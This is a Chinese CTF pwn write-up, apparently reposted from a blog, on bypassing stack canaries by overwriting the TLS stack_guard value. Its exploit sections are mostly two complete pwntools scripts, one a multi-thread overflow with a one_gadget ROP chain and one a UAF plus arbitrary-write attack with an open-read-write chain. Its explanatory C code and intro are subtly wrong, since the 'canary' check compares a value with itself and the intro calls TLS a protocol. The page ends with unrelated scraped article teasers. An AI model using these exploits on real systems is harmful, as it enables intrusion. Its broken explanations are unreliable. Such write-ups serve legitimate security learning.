TLScanary:Pwn中的利器

news/2024/11/15 12:13:36/文章来源:https://www.cnblogs.com/CH13hh/p/18299195

TLScanary:Pwn中的利器

引言:什么是TLScanary?

  在二进制漏洞利用(Pwn)领域,攻击者面临着层层防护措施的挑战。在安全竞赛(如CTF)和实际漏洞利用中,TLS(线程本地存储)和堆栈保护(stack canary)是常见的防护技术。TLScanary应运而生,它结合了TLS协议与堆栈保护技术,专门用于处理这些受保护的二进制文件,从而增加了攻击的难度

  可以说,TLS和canary在保护机制中有着密不可分的关系。

介绍:TLS的基本概念

  TLS(线程本地存储)是一种在线程内存中存储特定数据的机制。每个线程都有自己独立的TLS区域,用于存储与该线程相关的数据。这种机制在多线程程序中尤为重要,因为它确保每个线程都有自己独立的存储空间,而不会干扰其他线程的数据。

  在堆栈保护方面,TLS常被用于存储堆栈canary值。堆栈canary是一种防止缓冲区溢出攻击的安全措施,它是一种在函数返回地址之前插入的特殊值。其作用类似于“哨兵”,如果缓冲区溢出覆盖了canary值,程序会在返回前检测到不一致,并立即终止执行,从而防止恶意代码的运行。

  对于多线程的canary来说,每个线程的canary都是独立存在的。当一个线程被创建时,操作系统会为该线程分配一个独立的TLS区域,这个区域通常通过某种线程控制块(TCB)来管理。每个线程都有一个独立的TCB,从而确保了每个线程的canary值的独立性和安全性。

多线程环境中的TLS和Canary

  在多线程环境中,每个线程的堆栈上都会有一个独立的canary值。操作系统或运行时库在为每个线程分配堆栈时,会在堆栈的适当位置插入一个canary值,以防止缓冲区溢出攻击

下面我们看一段代码,展示了如何在多线程环境中使用TLS和canary:

#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
​
// 生成随机canary值的函数
unsigned long generate_random_canary() {   return (unsigned long)rand();
}
​
// 终止程序的函数
void terminate_program() {   printf("Canary value has been modified. Terminating program.\n");   exit(1);
}
​
// 线程函数
void* thread_function(void* arg) {   // 每个线程有自己独立的TLS区域   __thread int thread_local_variable = 0;      // 在函数入口处插入canary值   unsigned long canary_value = generate_random_canary();   unsigned long expected_canary_value = canary_value;      // 检查canary值是否被修改   if (canary_value != expected_canary_value) {       terminate_program();   }      // 线程的实际工作   // ...      return NULL;
}
​
int main() {   const int NUM_THREADS = 5;   pthread_t threads[NUM_THREADS];      // 创建多个线程   for (int i = 0; i < NUM_THREADS; i++) {       pthread_create(&threads[i], NULL, thread_function, NULL);   }      // 等待所有线程完成   for (int i = 0; i < NUM_THREADS; i++) {       pthread_join(threads[i], NULL);   }      return 0;
}
​

  可以看到,每个线程都有自己的TLS区域和独立的canary值,从而确保了多线程程序的安全性。

  但是,多线程的canary通常也有被利用的时候,当程序创建线程的时候会创建TLS,TLS里面会存储有canary的值,而TLS会保存在stack高地址的地方那么就是说,如果我们可以通过溢出覆盖到TLS的位置那么就可以绕过canary,但是这个条件比较苛刻。

  • 溢出字节够大,通常至少一个page(4K)

  • 创建一个线程,在线程内栈溢出

所以一般来说还是比较安全的,但是不排除,有些疏忽的漏洞导致攻击者可以修改到stack_guard字段的内容,要了解stack_guard首先先看两个结构体。

struct pthread结构体解析

为了更好地理解TLS和canary的具体实现,我们需要了解struct pthread结构体。这个结构体包含了线程控制块(TCB)和其他相关信息。

#include <stddef.h> // 为了使用 size_t
​
/* Definition of the tcbhead_t structure (hypothetical) */
typedef struct {   // 定义线程控制块头部结构体   // 可以根据实际情况进行定义   // 例如:线程ID、状态信息等   int thread_id;   // 其他相关信息
} tcbhead_t;
​
/* Define the pthread structure */
struct pthread {
#if !TLS_DTV_AT_TP   /* This overlaps the TCB as used for TLS without threads (see tls.h).  */   tcbhead_t header; // 可能与TLS相关的头部信息
#else   struct {       // 更复杂的结构体定义       // 可能包含与TLS相关的更多详细信息       // ...   } header;
#endif
​   /* Extra padding for alignment and potential future use */   void *__padding[24]; // 填充数组,用于对齐和可能的未来扩展
};
​

在这个结构体中,我们看到第一个字段是tcbhead_t,它包含了线程控制块(TCB)的相关信息。

tcbhead_t结构体解析

typedef struct {   void *tcb;            /* 指向线程控制块(TCB)的指针 */   dtv_t *dtv;           /* 线程特定数据的指针 */   void *self;           /* 指向线程描述符的指针 */   int multiple_threads; /* 标识是否有多个线程 */   int gscope_flag;      /* 全局作用域标志 */   uintptr_t sysinfo;    /* 系统信息 */   uintptr_t stack_guard;/* 堆栈保护 */   uintptr_t pointer_guard; /* 指针保护 */
​   /* 其他可能的字段... */
} tcbhead_t;
​

在这个结构体中,stack_guard字段存放的就是单线程的canary值。攻击者通常可以通过覆盖这个值的内容来绕过canary保护。

如何利用TLScanary进行攻击

要利用TLScanary进行攻击,攻击者需要找到覆盖或篡改canary值的方法,从而绕过堆栈保护。具体步骤如下:

  1. 定位canary值:找到目标程序中存放canary值的内存位置。

  2. 构造溢出:利用缓冲区溢出或其他漏洞覆盖canary值。

  3. 篡改canary值:将canary值修改为正确的值,避免程序检测到不一致。

  4. 执行攻击代码:利用篡改后的内存执行恶意代码。

对于多线程和单线程的canary利用,各用一个具体的题目演示一下

多线程TLScanary

题目保护情况(除pie外剩下全部开启)

64位ida反汇编看看

可以看见有创建线程的函数,pthread_create和加入线程的函数,pthread_join。下面介绍一下这两个函数

线程函数介绍

在多线程编程中,POSIX线程(Pthreads)库提供了一组函数,用于创建和管理线程。本文将介绍两个关键函数:pthread_createpthread_join,以及它们在实际代码中的应用。

pthread_create 函数用于创建一个新线程,并指定线程的起始例程和参数。其原型如下:

int pthread_create(pthread_t *thread, const pthread_attr_t *attr, void *(*start_routine)(void *), void *arg);
​

参数说明:

  • pthread_t *thread:指向线程标识符的指针,用于存储创建的线程的ID。

  • const pthread_attr_t *attr:线程属性指针,可以用于设置线程属性。如果传入 NULL,则使用默认属性。

  • void *(*start_routine)(void *):指向线程起始例程的指针,即线程开始执行的函数。

  • void *arg:传递给起始例程的参数。

那么刚刚ida看见的代码意思就是

pthread_create 函数被调用以创建一个新线程,执行 start 函数

创建线程后,主线程调用 pthread_join,等待新线程结束。

如果 pthread_join 返回非零值,则表示发生错误,可以在 if 语句中处理,打印处异常。

那么接下来看看加入的线程,start函数

那么可以看见给了一个很长的长度够我们溢出,很符合第一个多线程TLS canary攻击的前提。

分析:

我们可以通过覆盖线程canary来绕过canary,但是创建线程程序只能运行一次,而且每个线程的canary是独立的,也就意味着我们只能一条ROP链达到泄露地址执行one_gadget

思路:

1.覆盖线程TLS,修改canary的内容

2.在泄露libc地址的同时把one_gadget读入bss段上

3.进行栈迁移执行one_gadget

EXP:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
libc = ELF('./libc6_2.27-3ubuntu1.5_amd64.so')
io =remote('pwn.challenge.ctf.show',28270)
elf =ELF('../pwn89')
puts_plt = elf.plt["puts"]
put_got = elf.got["puts"]
read_plt = elf.plt["read"]
leave = 0x400B71
pop_rdi_ret = 0x400be3 
pop_rsi_r15_ret = 0x400be1 
bss_addr = 0x602010
payload = b'a' * 0x1010 + p64(bss_addr - 0x8)+ p64(pop_rdi_ret) + p64(put_got) + p64(puts_plt)
payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0) + p64(read_plt)
payload += p64(leave)
payload = payload.ljust(0x1900,b'a')
io.sendlineafter("send:\n",str(0x1900))
#sleep(1)
io.send(payload)
io.recvuntil("See you next time!\n")
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('puts_addr------>'+hex(puts_addr))
one_gadget = puts_addr - libc.sym['puts'] + 0x10a2fc
io.sendline(p64(one_gadget))
io.interactive()

单线程TLScanary

题目保护情况(保护全开)

64位ida反汇编

初看是堆的菜单,我们到具体函数分析一下

add函数,申请堆块的大小有限制,会创建另一个堆块存储我们堆块的指针

delete函数,存在明显的UAF漏洞

show函数,可以分别打印我们创建的堆块已经程序创建堆块的内容(后者只能用一次)

edit函数,存在一个很严重的漏洞,可以任意地址写,但是由于unsigned_int8类型指针的限制我们只能改一个字节

除此之外,read函数还有溢出,但是溢出长度不够

程序开了沙箱,不能直接获取shell,只能orw获取flag

分析:

存在UAF漏洞和打印函数,可以泄露heap地址和libc地址,可以通过任意地址写覆盖TLScanary,通过栈迁移,执行ORW

思路:

1.通过UAF漏洞,和show功能,分别泄露heap地址,和libc地址

2.通过任意地址写,覆盖 stack_guard,进而绕过canary

3.通过栈迁移,把程序流劫持到heap上使用orw获取flag

EXP:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
​
libc =ELF('./libc-2.31.so') 
#io = process('./binding')
io = remote('node5.buuoj.cn',26892)
def add(index,size,content):   io.sendlineafter('choice:','1')   io.sendlineafter('Idx:',str(index))   io.sendlineafter('Size:',str(size))   io.sendafter('Content:',content)
​
​
​
def edit(index,content1,content2):   io.sendlineafter('choice:','2')   io.sendafter('Idx:',index)   io.sendafter('context1: ',content1)   io.sendafter('context2: ',content2)
​
​
def show(rw,index):   io.sendlineafter('choice:','3')   io.sendlineafter('choice:',rw)   io.sendlineafter('Idx:',str(index))
​
​
​
def free(index):   io.sendlineafter('choice:','4')   io.sendlineafter('Idx:',str(index))
​
​
​
​
#gdb.attach(io)
for i in range(6):   add(i,0x100,'a')
​
for i in range(1,5):   free(i)
​
#gdb.attach(io)
show('0',2)
io.recvuntil(': ')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x5d0
success('heap_base----->'+hex(heap_base))
​
#gdb.attach(io)
show('1',4)
io.recvuntil(': ')
libc_base = u64(io.recv(6).ljust(8,b'\x00'))  - 96 - 0x10 -libc.sym['__malloc_hook']
success('libc_base----->'+hex(libc_base))
TLS = libc_base + 0x1f3568
success('TLS----->'+hex(TLS))
pause()
​
pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret
leave_ret = libc_base + 0x00000000000578c8 # leave ; ret
​
#gdb.attach(io)
orw_payload = p64(pop_rdi) + p64(heap_base + 0x1010)+p64(pop_rsi) + p64(0)+p64(pop_rdx)+p64(0) +p64(libc.sym['open']+libc_base)
orw_payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x200) 
orw_payload += p64(pop_rdx) + p64(0x30) + p64(libc.sym['read']+libc_base)
orw_payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x200) + p64(pop_rdx) + p64(0x30)
orw_payload += p64(libc.sym['write']+libc_base)
​
orw_payload = orw_payload.ljust(0xb0,b'a')
orw_payload += b'./flag\x00\x00'
​
add(6,0x120,orw_payload)
​
payload = b'0'.ljust(0x28, b'\x00') + p64(0) + p64(heap_base+0xf58) + p64(leave_ret)
edit(payload,p64(TLS),b'\x00'*8)
​
​
io.interactive()

结语:

TLScanary结合了TLS和堆栈canary的技术,显著增加了二进制漏洞利用的难度。理解TLS和canary的工作原理,对于编写更安全的程序和防范攻击至关重要。无论是单线程的canary还是多线程的canary,都需要我们去重视

总之,TLS 和 canary 不仅仅是安全技术的一部分,更是构建信任和保护用户隐私的基石。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/742630.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JS组件系列——BootstrapTable 行内编辑解决方案:x-editable

转载:http://www.cnblogs.com/landeanfen/p/5821192.html#_label2阅读目录一、x-editable组件介绍 二、bootstrapTable行内编辑初始方案 三、bootstrapTable行内编辑最终方案1、文本框 2、时间选择框 3、下拉框 4、复选框 5、“阴魂不散”的select2四、总结 正文 前言:之前介…

Iceberg metrics导致的问题

一、问题描述 在iceberg rewrite时报错:org.apache.iceberg.exceptions.ValidationException: Cannot commit, found new delete for replaced data file 看信息像是对于要删除的DataFile,有新的DeleteFile作用于它,不应该直接删除DataFile。但是我们很明确并没有DeleteFile…

6. DRF 版本

目录Django DRF 版本1. 使用1.1 URL 传递version参数 Django DRF 版本 1. 使用 rest_framework 的 versioning.py中定义了多种方法,支持不同方式携带version信息, 比如支持url/hostname/namespace中携带并传递version信息1.1 URL 传递version参数 https://127.0.0.1:8000/use…

spark-submit提交任务时执行流程(简单版)

yarn cluster模式提交spark任务 (1)执行脚本提交任务,实际是启动一个SparkSubmit的JVM进程。 (2)SparkSubmit类中的main方法反射调用YarnClusterApplication的main方法。 (3)YarnClusterApplication创建Yarn客户端,然后向yarn服务器发送执行指令:bin/java Application…

回溯-子集型

参考:回溯算法套路①子集型回溯【基础算法精讲 14】 ps:0-1背包也是一种子集型回溯 注意:递归参数中的 i 不是第 i 个, 而是下标大于等于 i 的这部分例题: class Solution: def f1(self, nums):n = len(nums)if n==0:return []ans = []path = []def dfs(i):if i == n…

Springboot按天生成日志文件

原文链接:https://blog.csdn.net/weixin_47798667/article/details/1318469421:首先再yml文件上加上配置 logging: config: classpath:logback-spring.xml2:新建一个logback-spring.xml文件文件内容是如下 <?xml version="1.0" encoding="UTF-8"?&g…

AIGC来了,你的版权还安全吗?

人工智能生成内容(AIGC)是热度居高不下,据Gartner预计,到2025年,AIGC将占全球所有生成数据的10%,以ChatGPT、Stable Diffusion为代表的现象级应用受到强势追捧,AIGC毫无疑问是强有力的生产工具,那如果人类作为创作者被工具抄袭时能够有效反击吗?无法确权和版权争议将是…

音乐相关api

网易云飙升榜 {"sourceUrl": "https://api.vvhan.com/api/wyMusic/飙升榜?type=json","command": "网易云飙升榜","dataType": "json","sendType": "audio","jsonKey": "inf…

显卡欺骗器、锁屏宝的代替品,ToDesk虚拟屏功能完美解决

主机没有显示器?远控电脑需要保持屏幕的高分辨率,但过高容易黑屏? 遇到以上情况,人们常常会使用显卡欺骗器或者锁屏宝来解决,就是让显卡认为连接了一个显示器,方便正常使用电脑。 但是这往往需要额外给电脑上插入设备,如果是突然急用就很难实现了,有没有人帮忙装显卡欺…

ToDesk云电脑进军游戏市场,真显卡高性能,新版本可暂停使用时长!

ToDesk远程控制软件在装机量突破1.5亿后,再度迎来里程碑式的发展。今年,该公司创新推出了云电脑产品,正式涉足云计算领域。这款前沿产品一经发布,便凭借其卓越的性能和使用体验赢得了广大用户的赞誉。近期,ToDesk云电脑更是迎来了重大版本更新,进一步巩固了其在云计算行业…